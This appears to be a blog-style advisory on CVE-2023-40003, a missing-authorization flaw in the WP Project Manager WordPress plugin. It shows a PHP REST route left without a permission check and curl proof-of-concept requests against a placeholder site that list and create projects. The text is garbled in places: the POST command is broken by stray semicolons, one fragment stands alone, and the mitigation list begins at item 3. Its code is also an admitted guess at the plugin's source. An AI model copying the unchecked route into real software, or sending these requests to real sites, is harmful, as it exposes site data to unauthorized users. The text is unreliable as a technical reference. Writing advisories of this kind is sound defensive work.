WordPress plugins are awesome for building and managing your website, but sometimes small mistakes can lead to big security problems. One such problem was found in a popular project management tool for WordPress: weDevs WP Project Manager. This post breaks down everything you need to know about CVE-2023-40003 — a Missing Authorization vulnerability — so you stay secure, or maybe catch vulnerable sites before an attacker does.

What is CVE-2023-40003?

This vulnerability is called Missing Authorization. That means the plugin forgets to check whether a user is allowed to do “sensitive stuff” before letting them do it. Any logged-in (or sometimes even logged-out!) user might be able to access or change information that only administrators (or project managers) should be able to.

WP Project Manager versions affected:
From an undefined version (n/a) up to 2.6.7 (inclusive).

> Patched Version: This was fixed after 2.6.7, so upgrade ASAP!

The Core Issue: Access Control Gone Wrong

The vulnerability happens because WP Project Manager doesn’t properly check a user’s permissions (capabilities) before letting them perform certain actions. Instead of making sure only people with the right role (like “Administrator” or “Project Manager”) can access sensitive endpoints, the plugin sometimes lets anyone use them.

Exporting sensitive task lists or client data

For many WP builds — especially those used in business or agency settings — that’s a nightmare.

Let’s dive a little deeper.

The plugin uses REST API endpoints (URLs you can talk to via HTTP) for things like creating, editing, or deleting projects. Normally, WordPress plugins use functions like current_user_can() to confirm if a user is allowed to perform the action. In vulnerable versions, these checks are missing or insufficient.

Here’s a simplified example endpoint

POST /wp-json/wedevs-project-manager/v1/projects

Intended use: Only project managers/admins should be able to POST a new project.

In vulnerable versions, this endpoint might look like

// BAD: No permission check!
add_action( 'rest_api_init', function () {
    register_rest_route( 'wedevs-project-manager/v1', '/projects', array(
        'methods'  => 'POST',
        'callback' => 'pm_create_project', // No permission_callback!
    ) );
});

How it should look

add_action( 'rest_api_init', function () {
    register_rest_route( 'wedevs-project-manager/v1', '/projects', array(
        'methods'  => 'POST',
        'callback' => 'pm_create_project',
        'permission_callback' => function() {
            return current_user_can('manage_options'); // or a custom cap
        }
    ) );
});

The Problem: If permission_callback is missing or too loose, anyone can POST to this endpoint.

Proof-of-Concept Exploit

Let’s say you want to list all the projects, even if you’re not supposed to.

With curl or a tool like Postman, try

curl -X GET "https://target-site.com/wp-json/wedevs-project-manager/v1/projects";

If your user is not a project manager but you still get the list, the plugin is vulnerable! (Depending on configuration, you might even get the data while logged out.)

To exploit modification

curl -X POST "https://target-site.com/wp-json/wedevs-project-manager/v1/projects"; \
     -d '{"title":"Hacked Project"}'

Official References

- Patchstack Advisory
- WPScan CVE-2023-40003 Entry
- Original plugin repo

Audit User Roles: Double-check which users can see sensitive project info.

3. Restrict API Access: Use security plugins like Wordfence or iThemes Security to restrict API access.

Stay safe out there – security isn’t just for your clients, it’s for you too!

*Exclusive analysis by ChatGPT. Share with your IT squad and keep those WordPress sites tight.*

Timeline

Published on: 12/13/2024 15:15:21 UTC